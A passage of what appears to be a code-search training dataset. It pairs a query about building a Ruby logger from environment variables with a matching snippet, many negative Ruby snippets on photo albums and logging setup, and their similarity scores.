current_user.albums.find(params[:id])\n end", "def current_album\n current_album_view.album\n end", "def assign_to_album(album_id)\r\n return if self.is_a?(Board)\r\n \r\n album_id = album_id.is_a?(Album) ? album_id.id : album_id.to_i\r\n unless album_id.blank? or self.album_ids.include?(album_id)\r\n album = Content.active.find_by_id(album_id)\r\n album = nil unless album && album.is_a?(Album) # Allow assigning to album subclasses\r\n album = nil unless album && album.user_id == self.user_id # Don't allow assigning to other users' albums\r\n album = nil if album && self.requires_public_permissions? && !(album && album.public?)\r\n if album && !album.inclusion_allowed?(self)\r\n self.errors.add_to_base(\"Sorry, album doesn't allow this item now\".t)\r\n raise ActiveRecord::RecordInvalid.new(self)\r\n end\r\n if album\r\n #return if self.albums.include?(album)\r\n self.is_in_gallery = false\r\n self.albums << album\r\n\r\n # Set security same as album - NOTE: THIS SCREWS UP ROYALLY if content in more than one album\r\n set_permissions_to( album.relationshiptype_id )\r\n \r\n self.save!\r\n return album\r\n end\r\n end\r\n nil\r\n end", "def albums\n self.album\n end", "def picasa_albums(options = {})\n return [] unless current_user.has_provider_auth('google')\n PicasaPhoto.picasa_request_with_refresh(current_user.picasa_identity) do\n goog = GooglePhotosApi.new( current_user.picasa_identity.token )\n goog.albums[\"albums\"]\n end\n end", "def album_title\n if album\n album.title\n end\n end", "def profileAlbum\n aid = self.albums.select{|a| a['name'].include?('Profile')}[0]['id']\n self.fbCall(\"/#{aid}/photos\")\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def album=(v)\n if @album != v\n @needs_commit = true\n @album = v\n end\n end", "def album!(options = {})\n raise NotImplementedError(\"Subclasses should implement this!\")\n end", "def set_album\n @album = Album.includes(:photos, :shares).find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def verify_ownership\n @photo = Photo.find_by(id: params[:id] || params[:photo][:id])\n\n unless owner?(@photo)\n flash[:alert] = I18n.t(\"photos.ownership.error\")\n redirect_to gallery_path\n end\n end", "def album(attributes)\n attributes = {:gid => attributes} unless attributes.is_a?(Hash)\n Album.new(self, attributes)\n end", "def fetch_album(album_id)\n ::FbGraph2::Album.fetch(album_id, :access_token => access_token)\n end", "def set_album\n @album = Admin::Album.find(params[:id])\n end", "def set_album\n @album = Admin::Album.find(params[:id])\n end", "def media_object_exists?\n MediaObject.exists? self.media_object_id\n end", "def find_album_by_id(client, album_id)\n client.api(:album, :show, album_id)\nend", "def albums(options={})\n call_pageable('library.getalbums', :albums, Album, {:user => @user.name}.merge(options))\n end", "def isKindOf _obj, _args\n \"_obj isKindOf _args;\" \n end", "def set_album\n @album = Album.find(params[:album_id])\n end", "def set_album\n @album = Album.find(params[:album_id])\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def set_album\n @album = Album.find_by(id: params[:id])\n end", "def owner?\n if song && song_template\n errors.add :base, 'Part cannot belong to both a song and a song template'\n end\n\n unless song || song_template\n errors.add :base, 'Part must belong to either a song or a template'\n end\n end", "def photo_album(id)\n backup_photo_albums.find_by_source_album_id(id)\n end", "def picasa_albums(options = {})\n return [] unless current_user.has_provider_auth('google')\n PicasaPhoto.picasa_request_with_refresh(current_user.picasa_identity) do\n picasa_user_id = options[:picasa_user_id] || current_user.picasa_identity.provider_uid\n picasa_identity = current_user.picasa_identity\n user_data = if picasa_user_id && picasa_identity\n PicasaPhoto.picasa_request_with_refresh(picasa_identity) do\n picasa_identity.reload\n picasa = Picasa.new(picasa_identity.token)\n picasa.user(picasa_user_id)\n end\n end\n albums = []\n unless user_data.nil?\n user_data.albums.select{|a| a.numphotos.to_i > 0}.each do |a|\n albums << {\n 'aid' => a.id,\n 'name' => a.title,\n 'cover_photo_src' => a.thumbnails.first.url\n }\n end\n end\n albums\n end\n rescue RubyPicasa::PicasaError => e\n raise e unless e.message =~ /authentication/\n Rails.logger.error \"[ERROR #{Time.now}] Failed to refresh access token for #{user.picasa_identity}\"\n []\n end", "def set_album\n @album = Album.find(params[:id])\n \tauthorize [:admin, @album]\n end", "def fetch_album(args)\n search = AlbumFetch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end", "def get_albums(url)\n # should return albums\n # List of Hashes\n \n # must implement \n # - custom site parser\n end", "def album\n @album ||= Album.includes(:images, :poster_image)\n .where(id: params[:id], user_id: user_id)\n .take || halt(404)\n\tend", "def set_album\n if token = album_token\n @album = Album.find_or_create_by(token: token)\n else\n @album = Album.find_by(uuid: params[:id])\n end\n end", "def get_album_by_id(person_id, album_id, fields='@all')\n @restv9.get_album_by_id(person_id, album_id,fields)\n end", "def add_album(new_album)\n if @albums.include?(new_album)\n puts \"The album has already been added\"\n else\n @albums.push(new_album)\n end\n end", "def is_a?(ob)\n __getobj__.is_a?(ob)\n end", "def album_name_unique?(album_name, artist_name) \n album_names = self.albums.select{|album| album.artist.present?}\n .select{|album| album.artist.name == artist_name}\n .map{|album| album.name}\n\n album_names.select{|name| name == album_name}.blank?\n \n end", "def set_album\n # create an instance variable that can be accessed in\n # every action.\n @album = Album.find(params[:album_id])\n end", "def find_album(artist,url_slug)\n logger.info \"in find album\"\n\t\tartist.albums.uniq.each do |album|\n\t\t\tif album.album_url_slug == url_slug\n\t\t\t\t@album = album\n\t\t\tend\n\t\tend\n\n\t\tlogger.info @album\n\tend", "def confirm_inclusion(album)\n begin\n ret = false\n category = album['Category'] ? album.Category.Name.to_s : ''\n subCategory = album['SubCategory'] ? ' / ' + album.SubCategory.Name.to_s : ''\n $stderr.print \"Include: \" + category + subCategory + ' / ' + album.Title + ' ? (y|N|x) '\n response = $stdin.gets\n return nil if (response =~ /^x/i)\n return (response =~ /^y/i) ? true : false\n rescue Exception => e\n return nil\n end\nend", "def logged_in? # obj - nil\n\t\tcurrent_artist\n\tend", "def association?(object, associations); end", "def set_galleries_album\n @galleries_album = Galleries::Album.find(params[:id])\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "def show\n\t\t@album = Album.find(params[:id])\n\tend", "def show\n if @user = User.find_by_uid(params[:id])\n authorize @user\n @album = Album.find_by(user_id: @user.id)\n else\n redirect_to root_url\n end\nend", "def set_item_album\n @item_album = ItemAlbum.find(params[:id])\n end" ]
[ "0.8194015", "0.6476874", "0.6432577", "0.61883134", "0.61166966", "0.6001967", "0.59991974", "0.5900762", "0.57883006", "0.578643", "0.5775798", "0.57714975", "0.5757246", "0.5710056", "0.5710056", "0.5693423", "0.5691528", "0.56720376", "0.56223154", "0.5598594", "0.55915695", "0.5551012", "0.5549911", "0.5526456", "0.550078", "0.54947865", "0.5461527", "0.5450307", "0.5450278", "0.54414415", "0.54356307", "0.5405019", "0.5391769", "0.5389854", "0.5386999", "0.53761744", "0.53761744", "0.53761744", "0.53761744", "0.53761744", "0.5374529", "0.53686005", "0.53538775", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.53489417", "0.5345137", "0.53402454", "0.5337457", "0.5326675", "0.5326675", "0.5321553", "0.5321548", "0.5319539", "0.5308752", "0.52979904", "0.52979904", "0.52916974", "0.52858174", "0.52752006", "0.52650654", "0.5238377", "0.52213234", "0.5201003", "0.5192507", "0.5189057", "0.51868683", "0.51774365", "0.51761013", "0.5174254", "0.51527876", "0.5145284", "0.5128975", "0.5126589", "0.5123612", "0.51179206", "0.5117033", "0.5095343", "0.5095343", "0.5092334", "0.50798804", "0.50729555" ]
0.81016976
1
Create Logger from environment variables. The following environment variables are supported: WEATHER_SAGE_LOG_LEVEL: Log level. One of "fatal", "error", "warning", "info", or "debug". Defaults to "warn". WEATHER_SAGE_LOG_PATH: Path to log file. Defaults to standard error.
def initialize(env) # get log level (default to "warn" if unspecified) log_level = (env.get('LOG_LEVEL', DEFAULT_LEVEL)).upcase # create logger from log path (default to STDERR) super(env.get('LOG_PATH', STDERR)) # set log level (default to WARN) self.level = ::Logger.const_get(log_level) # log level info('Env::Log#initialize') do 'level = %p' % [log_level] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_logger\n path = Hanami.root.join(\"log\", [\"emergency_log.\", Hanami.env].join)\n Logger.new(path)\n end", "def create_logger path\n #path = File.join(ENV[\"LOGDIR\"] || \"./\" ,\"canis14.log\")\n _path = File.open(path, File::WRONLY|File::TRUNC|File::CREAT) \n logg = Logger.new(_path)\n raise \"Could not create logger: #{path}\" unless logg\n # if not set, will default to 0 which is debug. Other values are 1 - info, 2 - warn\n logg.level = ENV[\"CANIS_LOG_LEVEL\"].to_i\n colors = Ncurses.COLORS\n logg.info \"START #{colors} colors -- #{$0} win: #{@window} : log level: #{logg.level}. To change log level, increase CANIS_LOG_LEVEL in your environment to 1 or 2 or 3.\"\n return logg\n end", "def env_log\n level = ENV['POLYTRIX_LOG'] && ENV['POLYTRIX_LOG'].downcase.to_sym\n level = Polytrix::Util.to_logger_level(level) unless level.nil?\n level\n end", "def set_up_logging\n\n if @parameters[:log_to_file] then\n\n @logger = Logger.new(@parameters[:log_to_file])\n\n else\n\n @logger = Logger.new(STDOUT)\n\n end\n\n if @parameters[:log_detailed_messages] then\n \n @logger.sev_threshold = Logger::DEBUG\n\n else\n\n @logger.sev_threshold = Logger::INFO\n\n end\n\n end", "def level_from_env\n case ENV['URL_TRACKER_DEBUG']\n when 'debug' then Logger::DEBUG\n when 'error' then Logger::ERROR\n when 'fatal' then Logger::FATAL\n when 'info' then Logger::INFO\n when 'warning' then Logger::WARN\n else nil\n end\n end", "def setup_logger(log_name)\n date = Time.new.localtime.strftime('%F %H.%M.%S%L')\n logger = Logger.new(\"#{$VALUE}/test_logs/#{log_name}_#{date}.log\")\n logger.formatter = proc do |severity, datetime, _progname, msg|\n date_format = datetime.strftime('%Y-%m-%d %H:%M:%S%L')\n if (severity == 'INFO') || (severity == 'WARN')\n \"[#{date_format}] #{severity} (#{ENV['PRODUCT_NAME']}): #{msg}\\n\"\n else\n \"[#{date_format}] #{severity} (#{ENV['PRODUCT_NAME']}): #{msg}\\n\"\n end\n end\n logger\nend", "def initialize\n @environment = ENV['RACK_ENV'] || ENV['RAILS_ENV']\n @environments = []\n @required_variables = []\n @optional_variables = []\n @slack_webhook_url = nil\n @slack_notifier = nil\n @logger = Logger.new(STDERR)\n end", "def exports\n File.exist?(ENV_LOG) or return {}\n env = {}\n File.read(ENV_LOG).each_line do |row|\n (var, val) = row.strip.split(\"=\")\n env[var] = val\n end\n env\n end", "def configure_logging\n if env[:lager]\n env[:lager][:handlers] = {\n :lager_console_backend => :info,\n :lager_file_backend => [\n Tuple[(log + \"error.log\").expand_path.to_s, :error],\n Tuple[(log + \"console.log\").expand_path.to_s, :info]\n ]\n }\n env[:lager][:crash_log] = (log + \"crash.log\").to_s\n else\n # TODO: Need a better way to detect this, the defaults point\n # to 1.0-style configs. Maybe there should be some kind of\n # detection routine.\n # Use sasl error logger for 0.14.\n env[:riak_err] ||= {\n :term_max_size => 65536,\n :fmt_max_bytes => 65536\n }\n env[:sasl] = {\n :sasl_error_logger => Tuple[:file, (log + \"sasl-error.log\").expand_path.to_s],\n :errlog_type => :error,\n :error_logger_mf_dir => (log + \"sasl\").expand_path.to_s,\n :error_logger_mf_maxbytes => 10485760,\n :error_logger_mf_maxfiles => 5\n }\n end\n vm['-env ERL_CRASH_DUMP'] = (log + 'erl_crash.dump').to_s\n end", "def logger\n @logger ||= case environment\n when 'development'\n Logger.new(STDERR, Logger::DEBUG)\n when 'test'\n Logger.new(STDERR, Logger::WARN)\n else\n Logger.new(STDERR, Logger::INFO)\n end\n end", "def determine_loggers\n if defined?(::Rails) && ::Rails.logger\n self.logger = ::Rails.logger\n else\n require 'logger'\n self.logger = ::Logger.new($stdout)\n log_level = ::ENV.fetch('LOG_LEVEL', 'info').to_s.upcase\n begin\n logger.level = ::Logger::Severity.const_get(log_level)\n rescue NameError => _e\n logger.level = ::Logger::Severity::INFO\n end\n end\n self.grpc_logger = logger if grpc_logger.nil?\n end", "def init_logging\n app_name = ENV[\"APP_NAME\"] || \"calcentral\"\n format = PatternFormatter.new(:pattern => \"[%d] [%l] [CalCentral] %m\")\n\n Rails.logger = Log4r::Logger.new(app_name)\n Rails.logger.level = DEBUG\n Rails.logger.outputters = init_file_loggers(app_name, format)\n\n stdout = Outputter.stdout #controlled by Settings.logger.level\n stdout.formatter = format\n # level has to be set in the logger initializer, after Settings const is initialized.\n # see initializers/logging.rb\n Rails.logger.outputters << stdout\n end", "def monitor_logger\n @monitor_logger ||= Logger.new(ENV['MONITOR_LOG_PATH'] || File.join(\"log\", \"monitor.log\"))\n end", "def log_environment\n ::NewRelic::Agent.logger.info(\"Environment: #{NewRelic::Control.instance.env}\")\n end", "def logger\n return @local_logger if @local_logger\n FileUtils.mkdir_p(File.dirname(log_path)) unless File.exists?(File.dirname(log_path))\n\n if API_KEYS[\"logentries\"]\n token = API_KEYS[\"logentries\"][Rails.env][\"nsc\"]\n @local_logger = Le.new(token, :debug => false, :local => log_path, :ssl => true, :tag => true)\n else\n @local_logger = Logger.new(log_path)\n end\n @local_logger\n end", "def level_for_env\n case RCApp.env\n when 'test'\n SILENT\n when 'debug'\n DEBUG\n when 'release'\n ERROR\n end\n end", "def app_logger(**tags)\n logger_tags =\n { url: request.url,\n ip: request.ip,\n user_id: current_user.id,\n params: params.to_unsafe_h }.merge(tags)\n\n Helli::Logger.new(logger_tags)\n end", "def create_logger\n l = self['logger']\n\n if l == true or l.nil?\n ::Logger.new(production? ? project_path('production.log') : STDOUT)\n elsif l.is_a?(Class)\n l.new(production? ? project_path('production.log') : STDOUT)\n elsif l.is_a?(Proc)\n l.call\n elsif l\n raise 'bad logger configure, should be: `true` / `false` / Class / Proc'\n end\n end", "def initialize_logger\n return if @logger.blank?\n log = @logger\n log = log.to_s if log.is_a?(Pathname)\n if log.is_a?(String)\n log = File.join(TMP_ROOT_DIR, log) unless log.start_with?('/')\n @logger =\n Logger.new(log).tap { |l| l.level = Logger.const_get(@log_level) }\n end\n unless @logger.is_a?(Logger)\n raise \"expected String, got #{log.class} #{log.inspect}\"\n end\n end", "def default_level\n ENV.key?(ENV_FLAG) ? ::Logger::DEBUG : ::Logger::WARN\n end", "def initialize(logger=Logger.new(STDERR))\n setup_signals\n @logger = logger\n @logger.level = level_from_env || Logger::INFO\n end", "def new_logger(path)\n if path.is_a? String\n FileUtils.touch path # prevent autocreate messages in log\n Logger.new path\n elsif path.is_a? Array\n log_file, logs_files_to_keep, log_files_max_size, * = path\n FileUtils.touch log_file # prevent autocreate messages in log\n Logger.new(log_file, logs_files_to_keep, log_files_max_size)\n end\n end", "def environment\n @environment || SemanticLogger.environment\n end", "def configure_logging\n Chef::Log.logger = AuditLogger.new(sensitive_inputs)\n Chef::Log.logger.level = Log.level_from_sym(Log.level)\n end", "def default_log_level(env = ENV)\n\t\t\tif level = env['CONSOLE_LOG_LEVEL']\n\t\t\t\tLEVELS[level] || Logger.warn\n\t\t\telsif $DEBUG\n\t\t\t\tLogger::DEBUG\n\t\t\telsif $VERBOSE.nil?\n\t\t\t\tLogger::WARN\n\t\t\telse\n\t\t\t\tLogger::INFO\n\t\t\tend\n\t\tend", "def init_logger(settings)\n settings[:VERSION] = `rake runerb:get_version`.chomp.gsub!('\"', '')\n FileUtils.mkdir_p(\"#{FileUtils.pwd}/assets/log\")\n settings[:LOG_FILE_PATH] = \"#{FileUtils.pwd}/assets/log/rune_rb-#{Time.now.strftime('%Y-%m-%d').chomp}.log\".freeze\n settings[:LOG_FILE] = Logger.new(settings[:LOG_FILE_PATH], progname: \"rune.rb-#{settings[:VERSION]}\")\n settings[:LOG] = Logger.new(STDOUT)\n settings[:COLOR] = Pastel.new\n settings[:LOG].formatter = proc do |sev, date, _prog, msg|\n \"#{settings[:COLOR].green.bold(\"[#{date.strftime('%H:%M')}]\")}|#{settings[:COLOR].blue(\"[#{sev}]\")} : #{msg}\\n\"\n end\n end", "def init_logger\n self.log4r_config = load_file_config('log4r.yml')\n\n if log4r_config\n Log4r::YamlConfigurator.decode_yaml(log4r_config['log4r_config'])\n\n environments = log4r_config['log4r_config']['loggers'].map do |logger|\n logger['name']\n end\n\n if environments.include?(run_env)\n self.logger = Log4r::Logger[run_env]\n else\n self.logger = Log4r::Logger['development']\n end\n else\n self.logger = Log4r::Logger.new(run_env)\n self.logger.level = Log4r::DEBUG\n self.logger.add Log4r::Outputter.stdout\n self.logger.warn\n \"Log4r configuration file #{full_config_path('log4r.yml')} not found.\"\n self.logger.info \"Log4r outputting to stdout with DEBUG level.\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def example_env_vars\n Parser.call(read)\n rescue Errno::ENOENT, FormatError\n {}\n end", "def call(env)\n logger(env)\n end", "def initialize(tag_suffix = nil)\n return if defined? SYSLOG\n\n if tag_suffix.nil?\n if defined?(Rails)\n tag_suffix = 'rails'\n else\n tag_suffix = 'logger'\n end\n end\n\n @level = PsdLogger::INFO\n self.class.const_set :SYSLOG, Syslog.open(\"psd_#{tag_suffix}\")\n self.debug(\"PsdLogger.initialize()\")\n end", "def logger\n @logger ||= LogAdapter.new(Stevenson.new, (ENV[\"JEKYLL_LOG_LEVEL\"] || :info).to_sym)\n end", "def create_logger\n\n logger_level = settings[\"log.level\"] || \"info\"\n\n # log everything to STDERR or specified logfile\n logger = Yell::Logger.new(:null)\n logger.format = logger_format\n logger.level = logger_level\n\n logger_destination = settings[\"log.file\"] || \"STDERR\"\n # We intentionally repeat the logger_level\n # on the adapter, so it will stay there if overall level\n # is changed.\n case logger_destination\n when \"STDERR\"\n logger.adapter :stderr, level: logger_level, format: logger_format\n when \"STDOUT\"\n logger.adapter :stdout, level: logger_level, format: logger_format\n else\n logger.adapter :file, logger_destination, level: logger_level, format: logger_format\n end\n\n\n # ADDITIONALLY log error and higher to....\n if settings[\"log.error_file\"]\n logger.adapter :file, settings[\"log.error_file\"], :level => 'gte.error'\n end\n\n return logger\n end", "def create_logger\n\n logger_level = settings[\"log.level\"] || \"info\"\n\n # log everything to STDERR or specified logfile\n logger = Yell::Logger.new(:null)\n logger.format = logger_format\n logger.level = logger_level\n\n logger_destination = settings[\"log.file\"] || \"STDERR\"\n # We intentionally repeat the logger_level\n # on the adapter, so it will stay there if overall level\n # is changed.\n case logger_destination\n when \"STDERR\"\n logger.adapter :stderr, level: logger_level, format: logger_format\n when \"STDOUT\"\n logger.adapter :stdout, level: logger_level, format: logger_format\n else\n logger.adapter :file, logger_destination, level: logger_level, format: logger_format\n end\n\n\n # ADDITIONALLY log error and higher to....\n if settings[\"log.error_file\"]\n logger.adapter :file, settings[\"log.error_file\"], :level => 'gte.error'\n end\n\n return logger\n end", "def init_logger\n log = Log4r::Logger.new(STANDARD_LOGGER)\n log.trunc = true\n\n # sanity checks since we defined log4r's dynamic levels statically\n unless (Log4r::DEBUG == DEBUG) &&\n (Log4r::INFO == INFO) &&\n (Log4r::WARN == WARN) &&\n (Log4r::ERROR == ERROR) &&\n (Log4r::FATAL == FATAL)\n raise \"Logger levels do not match Log4r levels, levels may have been customized\"\n end\n\n Log4r::Logger[STANDARD_LOGGER].level = ERROR\n Log4r::Logger[STANDARD_LOGGER].trace = true\n\n Log4r::StderrOutputter.new :console\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"[%l] %m\")\n log.add(:console)\n end", "def configure_logs(logdevs = {})\n # Remove all exsiting logs\n @logdevs.each { |name, ld| remove_log(name) } if @logdevs\n\n # Parse logdevs hash options\n @logdevs = {}\n logdevs = [logdevs] if logdevs.is_a? Hash\n\n # If the user provides a device then set up a single log as :log\n unless logdevs.is_a? Array\n @logdevs[:default] = {dev: logdevs, level: DEFAULT_LEVEL}\n @lowest_level = @logdevs[:default][:level]\n return\n end\n\n # If the user provides a hash, check each arg\n logdevs.each do |ld|\n name = ld[:name] ||= :default\n dev = ld[:dev] ||= $stdout\n level = ld[:level] ||= DEFAULT_LEVEL\n shift_age = ld[:shift_age] ||= @shift_age\n shift_size = ld[:shift_size] ||= @shift_size\n level = MultiLog.string_to_level(level) unless level.is_a? Fixnum\n\n # Add to the name deely.\n add_log(name, dev, level, shift_age, shift_size)\n end\n end", "def init_logger \n if not Object.const_defined?(get_rails_default_logger_name)\n Logger.new(STDOUT)\n else\n eval(get_rails_default_logger_name)\n end \n end", "def set_log(logdev, shift_age = 0, shift_size = 1024000)\n @log = Logger.new(logdev, shift_age, shift_size)\n @log.progname = @appname\n @log.level = @level\n end", "def initialize\n log_path = @@log[:path] + 'one2influx.log'\n begin\n $LOG = Logger.new(log_path, 'daily', 30)\n rescue Exception => e\n raise \"Unable to create log file. #{e.message}\"\n end\n $LOG.level = @@log[:level]\n\n convert_to_sec\n prepare_storage_ids\n prepare_vm_config\n end", "def log\n @log ||= ENV['LOG'] || 'log/development.log'\n end", "def set_up_global_logger(verbose = 0)\n case verbose\n when -1\n console_log_level = :error\n when 0\n console_log_level = :notice\n when 1\n console_log_level = :info\n when 2\n console_log_level = :debug\n else\n console_log_level = :trace # developer debug\n end\n logger.levels(console_log_level)\n end", "def initialize(program_name = 'rails')\n @level = Logger::DEBUG\n\n return if defined? SYSLOG\n self.class.const_set :SYSLOG, Syslog.open(program_name)\n end", "def log_level\n @log_level ||= begin\n log_level = @config.log_level || @config_from_file['galaxy.agent.log-level'] || 'INFO'\n case log_level\n when \"DEBUG\"\n Logger::DEBUG\n when \"INFO\"\n Logger::INFO\n when \"WARN\"\n Logger::WARN\n when \"ERROR\"\n Logger::ERROR\n end\n end\n end", "def logger\n @logger ||= LogAdapter.new(Stevenson.new, (ENV[\"DAODAO_LOG_LEVEL\"] || :info).to_sym)\n end", "def logger\n env.logger\n end", "def db_log_file\n env_config['db_log_file'] || raise('environment problem:environment information not loaded')\n end", "def init_loggers(logger, logger_stderr)\n @logger = logger\n @logger_stderr = logger_stderr\n set_loggers_format\n end", "def logger\n @@logger ||= Logger.new(ENV['ENVIRONMENT']==\"test\" ? false : $stdout)\n end", "def log(env, *args)\n unless env['sinatra.commonlogger'.freeze] &&\n env['rackstash.logger'.freeze].is_a?(::Rackstash::Logger)\n super\n end\n end", "def initLogger()\n\tconfig = FileUtil.loadjson(File.dirname(__FILE__) + '/utilcfg.json')\n\tif config.key?('log.path')\n\t\tlpath = config['log.path']\n\t\tunless File.file?(lpath)\n\t\t\tdpath = lpath.gsub(/[^\\/]+$/,'')\n\t\t\tDir.mkdir(dpath) unless Dir.exist?(dpath)\n\t\tend\n\t\tif config.key?('log.interval')\n\t\t\t$logger = Logger.new(lpath, config['log.interval'])\n\t\telse\n\t\t\t$logger = Logger.new(lpath)\n\t\tend\n\tend\n\tLogUtil.setformatter\n\tLogUtil.setloglevel(config['log.level'])\nend", "def log_file\n File.dirname(__FILE__)+\"/../../log/#{Rails.env}_statsd.log\"\n end", "def initialize(*args)\n # Handle default\n if args.empty?\n args = [STDOUT]\n end\n\n # Initialization\n @default_level = Logger::Severity::INFO\n @formatter = ::TeeLogger::Formatter.new\n @loggers = {}\n @ios = {}\n\n # Load built-in filters\n load_filters(*args)\n\n # Create logs for all arguments\n args.each do |arg|\n add_logger(arg)\n end\n end", "def logger\n @logger ||= Esi.config.logger || Logger.new(Esi.config.log_target).tap do |l|\n l.level = Logger.const_get(Esi.config.log_level.upcase)\n end\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif RoninShell::Loggable::LEVEL.key?( level )\n\t\t\tlevel = RoninShell::Loggable::LEVEL[ level ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tRoninShell.logger = logger\n\t\tRoninShell.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tRoninShell.logger = Logger.new( logdevice )\n\t\t\t# RoninShell.logger.level = level\n\t\t\tRoninShell.logger.formatter = RoninShell::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "def message\n if message_level == :error\n red_text(\"The ENV #{@var} is required, #{@message}\")\n elsif message_level == :info\n green_text(\"The ENV #{@var} was found in the environment with the value #{value}\")\n elsif message_level == :warning\n yellow_text(\"WARNING: the ENV #{@var} is not set, proceeding with default value: #{@default}\")\n end\n end", "def initialize(*logger_args)\n if logger_args.empty?\n logger_args = [$stderr]\n end\n @base_args = logger_args\n @logger = ::Logger.new(*@base_args)\n @logger.level = :fatal\n @lock = Mutex.new\n end", "def initialize(logdev, shift_age=0, shift_size=0)\n @default_shift_age = shift_age\n @default_shift_size = shift_size\n target = ::Logger.new(logdev, shift_age, shift_size)\n target.formatter = DEFAULT_FORMATTER\n @targets = [target]\n end", "def create_logfile\n LibLog.create_logfile(ClientConfig::LOGGING,\n ClientConfig::LOG_LOCATION,\n ClientConfig::LOG_FILENAME)\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Mongrel2::Logging::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Mongrel2::Logging::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tMongrel2.logger = logger\n\t\tMongrel2.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tMongrel2.logger = Logger.new( logdevice )\n\t\t\t# Mongrel2.logger.level = level\n\t\t\tMongrel2.logger.formatter = Mongrel2::Logging::HtmlFormatter.new( logger )\n\t\tend\n\tend", "def call(env)\n do_log = env['HTTP_X_FIRELOGGER']\n if do_log\n env['firelogger'] = @logger = Logger.new\n\n began_at = Time.now\n status, header, body = @app.call(env)\n header = Utils::HeaderHash.new(header)\n\n id = rand(0xffffffff)\n @logger.encode.each_with_index do |chunk, i|\n header[\"FireLogger-#{id}-#{i}\"] = chunk\n end\n\n [status, header, body]\n else\n @app.call env\n end\n end", "def devlog\n @@devlog ||= Logger.new(Rails.root.join(\"log/alipay-customers-webhook-#{Time.now.strftime('%Y-%m-%d')}.log\"))\n end", "def initialize\n @logger = Logger.new('cf_flattener.log')\n end", "def logger\n settings[\"logger\"] ||= Yell.new(STDERR, :level => \"gt.fatal\") # null logger\n end", "def logger\n settings[\"logger\"] ||= Yell.new(STDERR, :level => \"gt.fatal\") # null logger\n end", "def initialize(*io_devices_and_loggers)\n if io_devices_and_loggers.size == 0\n raise ArgumentError.new(\"At least one IO device or Logger must be provided when \" +\n \"instantiating a 